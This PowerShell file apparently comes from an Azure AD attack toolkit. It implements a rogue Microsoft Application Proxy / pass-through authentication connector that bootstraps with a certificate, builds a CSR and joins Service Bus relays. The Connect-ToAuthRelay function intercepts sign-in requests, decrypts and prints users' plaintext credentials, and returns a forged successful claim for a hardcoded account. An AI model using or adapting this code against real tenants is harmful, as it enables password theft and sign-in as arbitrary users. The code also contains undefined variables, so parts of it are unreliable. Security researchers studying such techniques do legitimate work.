MSAppProxy_utils.ps1

# This file contains utility functions related to Microsoft App Proxy


# Get's bootstrap configuration
# Apr 2nd 2020
function Get-BootstrapConfiguration
{
    [cmdletbinding()]
    Param(
        [Parameter(Mandatory=$True)]
        [String]$MachineName,
        [Parameter(Mandatory=$True)]
        [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate
    )
    Process
    {

        # Get the tenant id and instance id from the certificate
        $TenantId = $Certificate.Subject.Split("=")[1]
        $InstanceID = [guid]$Certificate.GetSerialNumberString()

        # Actually, it is not the serial number but this oid for Private Enterprise Number. Microsoft = 1.3.6.1.4.1.311
        foreach($extension in $cert.Extensions)
        {
            if($extension.Oid.Value -eq "1.3.6.1.4.1.311.82.1")
            {
                $InstanceID = [guid]$extension.RawData
            }
        }

        $OSLanguage="1033"
        $OSLocale="0409"
        $OSSku="8"
        $OSVersion="10.0.17763"
        $AgentSdkVersion="1.5.1318.0"
        $AgentVersion="1.1.96.0"
      
        $body=@"
        <BootstrapRequest xmlns="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.SignalerDataModel" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
            <AgentSdkVersion>$AgentSdkVersion</AgentSdkVersion>
            <AgentVersion>$AgentVersion</AgentVersion>
            <BootstrapDataModelVersion>$AgentSdkVersion</BootstrapDataModelVersion>
            <ConnectorId>$InstanceId</ConnectorId>
            <ConnectorVersion>$AgentSdkVersion</ConnectorVersion>
            <ConsecutiveFailures>0</ConsecutiveFailures>
            <CurrentProxyPortResponseMode>Primary</CurrentProxyPortResponseMode>
            <FailedRequestMetrics xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.BootstrapDataModel"/>
            <InitialBootstrap>true</InitialBootstrap>
            <IsProxyPortResponseFallbackDisabledFromRegistry>true</IsProxyPortResponseFallbackDisabledFromRegistry>
            <LatestDotNetVersionInstalled>461814</LatestDotNetVersionInstalled>
            <MachineName>$machineName</MachineName>
            <OperatingSystemLanguage>$OSLanguage</OperatingSystemLanguage>
            <OperatingSystemLocale>$OSLocale</OperatingSystemLocale>
            <OperatingSystemSKU>$OSSku</OperatingSystemSKU>
            <OperatingSystemVersion>$OSVersion</OperatingSystemVersion>
            <PerformanceMetrics xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.BootstrapDataModel"/>
            <ProxyDataModelVersion>$AgentSdkVersion</ProxyDataModelVersion>
            <RequestId>$((New-Guid).ToString())</RequestId>
            <SubscriptionId>$TenantId</SubscriptionId>
            <SuccessRequestMetrics xmlns:a="http://schemas.datacontract.org/2004/07/Microsoft.ApplicationProxy.Common.BootstrapDataModel"/>
            <TriggerErrors/>
            <UpdaterStatus>Running</UpdaterStatus>
            <UseServiceBusTcpConnectivityMode>false</UseServiceBusTcpConnectivityMode>
            <UseSpnegoAuthentication>false</UseSpnegoAuthentication>
        </BootstrapRequest>
"@


        $url="https://$TenantId.bootstrap.msappproxy.net/ConnectorBootstrap"
        
        try
        {
            $response = Invoke-WebRequest -UseBasicParsing -Uri $url -Method Post -Certificate $Certificate -Body $body -ContentType "application/xml; charset=utf-8"
        }
        catch
        {
            Write-Error "Could not get bootstrap. Expired certificate ($($Certificate.Thumbprint)) or invalid agent ($InstanceID)?"
            return $null
        }
        
        [xml]$xmlResponse = $response.Content

        return $xmlResponse.OuterXml

        
    }
}

# Creates a CSR from the scratch
# Apr 2nd 2020
function NewCSRforSync
{
    [cmdletbinding()]
    Param(
        [Parameter(Mandatory=$True)]
        [String]$MachineName,
        [Parameter(Mandatory=$True)]
        [byte[]]$PublicKey
    )
    process
    {
        $osVersion="6.2.9200.2"
        $ADadminUser ="NotYourBusiness!!"
        $exeName = "AADConnectProvisioningAgentWizard.exe"


        $pksha1=[System.Security.Cryptography.SHA1CryptoServiceProvider]::new().ComputeHash($PublicKey)

        # Construct the CSR for signin
        $CSRToBeSigned=@(
            Add-DERSequence -Data @(                       
                Add-DERInteger -Data 0                          
                0x30, 0x00                                     
                Add-DERSequence -Data @(                  
                    Add-DERSequence -Data @(          
                        Add-DERTag -Tag 0x06 -Data @(           # Object Identifier
                                                                # rsaEncryption (1.2.840.113549.1.1.1)
                            0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01
                        )
                        0x05, 0x00                              # Null
                    )
                    Add-DERTag -Tag 0x03 -Data @(           # BitString
                        0x00
                        $PublicKey
                    )
            
                )

                Add-DERTag -Tag 0xA0 -Data @(                   # Context specific (block #0)

                    # Attributes: osVersion
                    Add-DERSequence -Data @(               

                        Add-DERTag -Tag 0x06 -Data @(           # Object Identifier
                                                                # osVersion (1.3.6.1.4.1.311.13.2.3)
                            0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x0D, 0x02, 0x03
                        )
                        Add-DERSet -Data @(           # SET
                            Add-DERIA5String -Text $osVersion
                        )
                    )

                    # Extension Request
                    Add-DERSequence -Data @(               
                        Add-DERTag -Tag 0x06 -Data @(           # Object Identifier
                                                                # extensionRequest (1.2.840.113549.1.9.14)
                            0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x09, 0x0E
                        )
                        Add-DERSet -Data @(           
                            Add-DERSequence -Data @(       
                        
                                # Key Usage
                                Add-DERSequence -Data @(   
                                    Add-DERTag -Tag 0x06 -Data @( # Object Identifier
                                        0x55, 0x1D, 0x0F        # keyUsage (2.5.29.15)
                                    )
                                    Add-DERTag 0x01 -Data @(0xFF) # Boolean (true)
                                    Add-DERTag 0x04 -Data @(0x03, 0x02, 0x04, 0xF0) # Octet string
                                )#
                                # Ext Key Usage
                                Add-DERSequence -Data @(   
                                    Add-DERTag -Tag 0x06 -Data @( # Object Identifier
                                        0x55, 0x1D, 0x25        # extKeyUsage (2.5.29.37)
                                    )
                                    Add-DERTag 0x04 -Data @(    
                                        Add-DERSequence -Data @(
                                            Add-DERTag -Tag 0x06 -Data @( # Object Identifier
                                                0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x02        # clientAuth (1.3.6.1.5.5.7.3.2)
                                            )

                                        )
                                    ) 
                                )

                                # Subject Key Identifier
                                Add-DERSequence -Data @(   
                                    Add-DERTag -Tag 0x06 -Data @( # subjectKeyIdentifier (2.5.29.14)
                                        0x55, 0x1D, 0x0E        
                                    )
                                    Add-DERTag 0x04 -Data @(    # Octet string
                                        0x04, 0x14#, 0xEB, 0x4F, 0xD9, 0xFF, 0x3A, 0x20, 0xA9, 0xDB, 0x63, 0xBA, 0x50, 0x2A, 0xF1, 0x5B, 0x96, 0x5F, 0x5C, 0x3C, 0xCD, 0xF4
                                        $pksha1
                                    ) 
                                )
                        
                    
                            )
                        )
                    )

                    # Request Client Info
                    Add-DERSequence -Data @(                    
                        Add-DERTag -Tag 0x06 -Data @(           # Object Identifier
                                                                # requestClientInfo (1.3.6.1.4.1.311.21.20)
                           0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x15, 0x14
                        )
                        Add-DERSet -Data @(           # Set
                            Add-DERSequence -Data @(
                                Add-DERInteger -Data 0x05
                                Add-DERUtf8String -Tag 0x0C -Text $machineName
                                Add-DERUtf8String -Tag 0x0C -Text $ADadminUser
                                Add-DERUtf8String -Tag 0x0C -Text $exeName
                            )
                        )

                    )

                    # Enrolment CSP
                    Add-DERSequence -Data @(                    
                        Add-DERTag -Tag 0x06 -Data @(           # Object Identifier
                                                                # enrolmentCSP (1.3.6.1.4.1.311.13.2.2)
                            0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x0D, 0x02, 0x02
                        )
                        Add-DERSet -Data @(           
                            Add-DERSequence -Data @(
                                Add-DERInteger 0x01
                                Add-DERUnicodeString -Tag 0x1E "Microsoft Enhanced RSA and AES Cryptographic Provider" -LE
                                Add-DERTag -Tag 0x03 -Data 0x00 # Bit string
                            )
                        )
                    )

                )
            )

        )

        # Sign the CSR
        $signature = $rsa.SignData($CSRToBeSigned, [System.Security.Cryptography.HashAlgorithmName]::SHA256,[System.Security.Cryptography.RSASignaturePadding]::Pkcs1)

        # Construct the CSR
        $CSR = Add-DERSequence -Data @(
            $CSRToBeSigned
            Add-DERSequence -Data @(
                Add-DERTag -Tag 0x06 -Data @(
                    0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B
                )
                0x05, 0x00 # null
            )
            Add-DERTag -Tag 0x03 -Data @(
                0x00
                $signature
            )
        
        )
        # return

        return $CSR
    }
}

# Connects to the given bus
function Connect-ToBus
{
    [cmdletbinding()]
    Param(
        [Parameter(Mandatory=$True)]
        [PSObject]$BootStrap,
        [Parameter(Mandatory=$False)]
        [System.Security.Cryptography.X509Certificates.X509Certificate2]$cert
    )
    Process
    {
        # Import AMQP.ps1
        . "$PSScriptRoot\AMQP.ps1"
        
        # Define AMQP messages
        [byte[]]$AMQP0 = @(
            0x41, 0x4D, 0X51, 0X50, # AMQP
            0x00, # Protocol
            0x01, # Major
            0x00, # Minor
            0x00) # Revision

        [byte[]]$AMQP1 = @(
            0x41, 0x4D, 0X51, 0X50, # AMQP
            0x01, # Protcol = AMQP
            0x01, # Major
            0x00, # Minor
            0x00) # Revision

        [byte[]]$AMQP2 = @(
            0x41, 0x4D, 0X51, 0X50, # AMQP
            0x02, # Protcol = TCP
            0x01, # Major
            0x00, # Minor
            0x00) # Revision

        [byte[]]$AMQP3 = @(
            0x41, 0x4D, 0X51, 0X50, # AMQP
            0x03, # Protocol = SASL
            0x01, # Major
            0x00, # Minor
            0x00) # Revision

        [byte[]]$EmptyAMQPHeader = @(0x00, 0x00, 0x00, 0x08, 0x02, 0x00, 0x00, 0x00)

        Try
        {
            
            # Define some needed variables
            $NameSpace = $bootStrap.NameSpace
            $url = "$nameSpace.servicebus.windows.net/`$servicebus/websocket"
            $connectionId = (New-Guid).ToString()
            $relayLinkGuid = (New-Guid).ToString()
            $trackingId = (New-Guid).ToString()

            if($status)
            {
                $Status.status = "Connecting to $url"
            }
            else
            {
                Write-Verbose "Connecting to $url"
            }
            #$connector.Status = "Connecting to $url"
            
            # Create the socket
            $socket = New-Object System.Net.WebSockets.ClientWebSocket
            
            # Add wsrelayedamqp as sub protocol
            $socket.Options.AddSubProtocol("wsrelayedamqp")
            $socket.Options.ClientCertificates.Add($cert) | out-null
            
            # Create the token and open the connection
            $token = New-Object System.Threading.CancellationToken                                                   

            $connection = $socket.ConnectAsync("wss://$url", $token)
            While (!$connection.IsCompleted) { Start-Sleep -Milliseconds 5 }

            if($connection.IsFaulted -eq "True")
            {
                Write-Error $connection.Exception
                return
            }

            #
            # Start the Agent
            #

            # Send SASL version header
            SendToSocket -Socket $socket -Token $token -Bytes ($AMQP3)

            # DEBUG
            $relayOpened=$false

            # Start the loop
            while($socket.state -eq "Open")
            {
                $outMessage = $null

                $response = ReadFromSocket -Socket $socket -Token $token  -KeepAlive
                $inMessage = Parse-BusMessage $response

                $close = $false

                switch($inMessage.Type)
                {
                    "Protocol SASL" {} # Do nothing
                    "SASL Mechanisms" 
                        {
                            # SASL init
                            $outMessage = New-SASLInit -Mechanics EXTERNAL
                        }
                    "SASL Outcome"
                        {
                            # Change protocol to AMQP
                            $outMessage = $AMQP0
                        }
                    "Protocol AMQP" 
                        {
                            # AMQP Open
                            $outMessage = New-AMQPOpen -ContainerId "RelayConnection_$connectionId" -HostName "$nameSpace-relay.servicebus.windows.net"
                        }
                    "AQMP Open"
                        {
                            # AMQP Begin
                            $outMessage = New-AMQPBegin
                        }
                    "AQMP Begin"
                        {
                            # AMQP Attach handle 0 and 1
                            SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPAttach -Handle 0 -RelayLinkGuid $relayLinkGuid -Direction out -BootStrap $bootStrap -TrackingID $trackingId)
                            SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPAttach -Handle 1 -RelayLinkGuid $relayLinkGuid -Direction in  -BootStrap $bootStrap -TrackingID $trackingId)

                            $outMessage = New-AMQPFlow
                        }
                    "AQMP Attach"
                        {
                            # Nothing to do
                        }
                    "AQMP Flow"
                        {
                            # Send an empty AMQP Header
                            $outMessage = $EmptyAMQPHeader
                            if($status)
                            {
                                $Status.status += "`nWaiting for auth requests.."
                            }
                            else
                            {
                                Write-Verbose "Waiting for auth requests.."
                            }
                        }
                    "AQMP Detach"
                        {
                            # Send AMQP Detach
                            $outMessage = New-AMQPDetach -Handle ($inMessage.Handle)
                            Write-Verbose ($inMessage.Error)
                        }
                    "AQMP End"
                        {
                            # Send AMQP End
                            $outMessage = New-AMQPEnd
                        }
                    "AQMP Close"
                        {
                            # Send AMQP Close
                            $outMessage = New-AMQPClose

                            # Close the socket after sending the last message
                            $close = $True

                            # Set the status
                            if($status)
                            {
                                $Status.status += "`nClosed."
                            }
                            else
                            {
                                Write-Verbose "Closed."
                            }
                        }
                    "OnewaySend"
                        {
                            # Send the disposition message
                            SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPDisposition)

                            # Time to create the relay!
                            if($status)
                            {
                                $Status.status += "`nOpening relay to $($inMessage.RelayAddress)"
                            }
                            else
                            {
                                Write-Verbose "Opening relay to $($inMessage.RelayAddress)"
                            }

                            if(!$relayOpened)
                            {
                                $relayOpened = $true
                                Connect-ToAuthRelay -Hostname $inMessage.RelayAddress -Id $inMessage.RelayId -Certificate $cert
                            }
                        }
                }

                if($outMessage -ne $null)
                {
                    SendToSocket -Socket $socket -Token $token -Bytes $outMessage

                }

                if($close)
                {
                    $socket.Abort()
                }
                
            }

            
        }
        catch
        {
            $Exception = $error[0]
            Write-Host $Exception -ForegroundColor Red
        }
        Finally{

            If ($socket) { 
                Write-Verbose "Closing websocket"
                $socket.Dispose()
            }

        }
        
    }
}

# Creates a SAS token
function Get-SASToken
{

    [cmdletbinding()]
    Param(
        [Parameter(Mandatory=$True)]
        [String]$Url,
        [Parameter(Mandatory=$True)]
        [String]$Key,
        [Parameter(Mandatory=$True)]
        [String]$KeyName,
        [Parameter(Mandatory=$False)]
        [DateTime]$Expires=(Get-Date).AddDays(1)
    )
    Process
    {
        # Create the HMAC object
        $keyBytes=[Text.Encoding]::UTF8.GetBytes($Key)
        $hmac = [System.Security.Cryptography.HMACSHA256]::new($keyBytes)

        # Convert to UNIX time
        $exp=([System.DateTimeOffset]$Expires.ToUniversalTime()).ToUnixTimeSeconds()

        # Form the string to sign (urlencoded uri + \n + expires)
        $namespace = $url.split("/")[2]
        $urlToSign = [System.Web.HttpUtility]::UrlEncode($url) + "`n" + [string]$exp
        $byteUrl=[Text.Encoding]::UTF8.GetBytes($urlToSign)

        # Calculate the signature
        $byteHash = $hmac.ComputeHash($byteUrl)
        $signature = [System.Convert]::ToBase64String($byteHash)
        
        # Form the token
        $SASToken = "SharedAccessSignature sr=" + [System.Web.HttpUtility]::UrlEncode($Url) + "&sig=" + [System.Web.HttpUtility]::UrlEncode($signature) + "&se=" + $exp + "&skn=" + $KeyName

        return $SASToken
    }
}

function Connect-ToAuthRelay
{
    [cmdletbinding()]
    Param(
        [Parameter(Mandatory=$True)]
        [String]$Hostname,
        [Parameter(Mandatory=$True)]
        [String]$Id,
        [Parameter(Mandatory=$True)]
        [System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate

    )
    Process
    {
        
        Try
        {
            $url = "$Hostname/`$servicebus/websocket"

            

            # Create the socket
            $socket = New-Object System.Net.WebSockets.ClientWebSocket
            
            # Add wsrelayedamqp as sub protocol
            $socket.Options.AddSubProtocol("wsrelayedconnection")
            $socket.Options.ClientCertificates.Add($Certificate) | out-null

            # Create the token and open the connection
            $token = New-Object System.Threading.CancellationToken                                                   

            $connection = $socket.ConnectAsync("wss://$url", $token)
            While (!$connection.IsCompleted) { Start-Sleep -Milliseconds 5 }

            if($connection.IsFaulted -eq "True")
            {
                Write-Error $connection.Exception
                return
            }

            # Send the two initial messages
            SendToSocket -Socket $socket -Token $token -Bytes (New-RelayConnect)

            SendToSocket -Socket $socket -Token $token -Bytes (New-RelayAccept -id $id)

            # Start the conversation loop

            if($status)
            {
                #$Status.status += "`nSocket: $($socket.state)"
            }

            # Define variables
            $SomeId = $null
            $SequenceId = $null
            $ConnectionId = New-Guid
            $RelayUrl = $null
            $ProxyUrl = $null
            $ProxyId = $null
            $SomeId2 = $null
            $ConId = $null

            while($socket.state -eq "Open")
            {
                Remove-Variable outMessage
                $outMessage = $null

                $response = ReadFromSocket -Socket $socket -Token $token  -TimeOut

                if($response -eq $null)
                {
                    return
                }

                $inMessage = Parse-RelayMessage $response

                if($status)
                {
                 # $Status.status += "`n$hostname InMessage: $($inMessage.Type) $($inMessage.Size). Response: $($response.length)"
                }

                $close = $false

                

                switch($inMessage.Type)
                {
                    "Relay AcceptReply"  {} # Do nothing
                    "Relay ConnectReply" {} # Do nothing
                    "Relay Name" 
                        {
                            # Reply
                            SendToSocket -Socket $socket -Token $token -Byte (New-RelayNameReply)
                        }
                    "Relay Ids" 
                        {
                            if($status)
                            {
                                $Status.status += "`nExtracting variables"
                            }
                            # Extract variables
                            $SomeId = $inMessage.SomeId
                            $SequenceId = $inMessage.SequenceId
                            $RelayUrl = $inMessage.Relay

                            if($status)
                            {
                                $Status.status += "`nSending outmessage. SomeId: $someId ConnectionId $ConnectionId SequenceId: $SequenceId Relay $RelayUrl"
                            }
                            # Reply
                            $outMessage = New-RelayIdsReply -SomeId $SomeId -ConnectionId $ConnectionId -Relay $RelayUrl
                        }
                    "Relay ProxyConnect" 
                        {
                            # Extract variables
                            $ProxyUrl = $inMessage.ProxyUrl
                            $ProxyId = $inMessage.ProxyId
                            $SomeId2 = $inMessage.SomeId2
                            $ConId = $inMessage.ConId
                            $ConnectionId = $inMessage.ConnectionId

                            if($status)
                            {
                                $Status.status += "`nProxy. SomeId2: $someId2 SequenceId: $SequenceId ConnectionId: $ConnectionId "
                            }

                            # Reply
                            $outMessage = New-RelayProxyConnectReply -SequenceId $SequenceId -SomeId2 $SomeId2 -ConnectionId $ConnectionId 

                            # Send NetRemote
                            SendToSocket -Socket $socket -Token $token -Bytes New-RelayNetRemote
                        }
                    "Relay NetRemoteReply" 
                        {
                            # Try to connect to the proxy!

                            # Get the ids..
                            $SubscriptionId=([System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate).GetNameInfo([System.Security.Cryptography.X509Certificates.X509NameType]::SimpleName,$false)
                            $ConnectorId=([guid]([System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate).Extensions["1.3.6.1.4.1.311.82.1"].RawData).ToString()

                            $url="https://$proxyUrl/subscriber/websocketconnect?requestId=$((New-Guid).ToString())"

            

            
                            # Create the socket
                            $socket2 = New-Object System.Net.WebSockets.ClientWebSocket

                            $socket2.options.SetRequestHeader("x-cwap-dnscachelookup-result" , "NotUsed")
                            $socket2.options.SetRequestHeader("x-cwap-connector-usesdefaultproxy" , "InUse")
                            $socket2.options.SetRequestHeader("x-cwap-connector-version" , "1.5.1542.0")
                            $socket2.options.SetRequestHeader("x-cwap-datamodel-version" , "1.5.1542.0")
                            $socket2.options.SetRequestHeader("x-cwap-connector-sp-connections" , "0")
                            $socket2.options.SetRequestHeader("x-cwap-transid" , $id)
            
                            $socket2.options.ClientCertificates.Add($cert)

                            # Create the token and open the connection
                            $token2 = New-Object System.Threading.CancellationToken                                                   

                            $connection2 = $socket2.ConnectAsync("wss://$($url.Substring(8))", $token2)
                            While (!$connection2.IsCompleted) { Start-Sleep -Milliseconds 5 }

                            if($connection2.IsFaulted -eq "True")
                            {
                                Write-Error $connection2.Exception
                                return
                            }
                            Write-Host "Connected to $Url" -ForegroundColor Yellow

                            # Send the message
                            $message = [text.encoding]::UTF8.GetBytes( "{`"ConnectionId`":`"$connectionId`",`"MessageType`":0}" )
                            SendToSocket -Socket $socket2 -Token $token -Bytes ($message)            

                            # Loop
                            while($true)
                            {
                                # Get the authentication message
                                $response = ReadFromSocket -Socket $socket2 -Token $token2 -ArraySize 2048
                                # Debug -Step ($step++) -NameSpace $Hostname -Bytes $response -Direction in

                                $authRequest = [text.encoding]::UTF8.GetString($response)
                                Write-Verbose $authRequest
                                $credentials = Decode-PTACredential -AuthRequest $authRequest -Certificate $cert

                                $credentials

           

                                Write-Verbose "Trying to send authentication response"
                                $username="danj@highlandwhiskey.myo365.site"
                                $userClaim="[{`"ClaimType`":`"http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/claims\/authentication`",`"Resource`":true,`"Right`":`"http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity`"},{`"ClaimType`":`"http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/claims\/name`",`"Resource`":`"$username`",`"Right`":`"http:\/\/schemas.xmlsoap.org\/ws\/2005\/05\/identity\/right\/identity`"}]"
                                $backEndResponse = [convert]::ToBase64String([text.encoding]::UTF8.GetBytes($userClaim))

                                $headers = [ordered]@{
                                    "x-cwap-dnscachelookup-result"="NotUsed"
                                    "x-cwap-connector-usesdefaultproxy"="InUse"
                                    "x-cwap-connector-version"="1.5.1542.0"
                                    "x-cwap-datamodel-version"="1.5.1542.0"
                                    "x-cwap-connector-sp-connections"="1"
                                    "x-cwap-transid" = $id
                                    "x-cwap-sessionid"="00000000-0000-0000-0000-000000000000"
                                    "x-cwap-certificate-authentication"="notProcessed"
                                    "x-cwap-headers-size"="0"
                                    "x-cwap-connector-be-latency-ms"="27"
                                    "x-cwap-payload-total-attempts"="0"
                                    "x-cwap-connector-loadfactor"="0"
                                    "x-cwap-response-total-attempts"="1"
                                    "x-cwap-connector-all-latency-ms"="70"
                                    "x-cwap-backend-response" = $backEndResponse
                                    "User-Agent"=""
                                }

                                $url="https://$proxyUrl/subscriber/connection?requestId=$((New-Guid).ToString())"

                                # The cert must be "linked" to this web page by IE + it needs to be installed in the personal store.
                                try
                                {
                                    Invoke-RestMethod -Uri $url -Method Post -Certificate $cert -Headers $headers -ContentType "" -ErrorAction SilentlyContinue
                                    #$response = Invoke-WebRequest -UseBasicParsing -Uri $url -Method Post -Certificate $cert -Headers $headers -ContentType "" -ErrorAction SilentlyContinue
                                }
                                catch
                                {
                                    Write-Error $_.Exception.Message
                                }
                            }
                            
                        }     
                
                }

                if($outMessage -ne $null)
                {
                    if($status)
                    {
                        #$Status.status += "`nSendToSocket. $($outMessage.length). $($outMessage.GetType())"
                    }
                    SendToSocket -Socket $socket -Token $token -Bytes ([byte[]]$outMessage)

                }

                if($close)
                {
                    $socket.Abort()
                }
                
            }
            
        
            
            
        }
        catch
        {
            $Exception = $error[0]
            Write-Host $_
            Write-Host $Exception -ForegroundColor Red

            if($status)
            {
                $Status.status += "`n$($exception.toString())"
            }
        }
        Finally{

            If ($socket) { 
                Write-Verbose "Closing websocket $Namespace"
                $socket.Dispose()
            }


        }
        
    }
}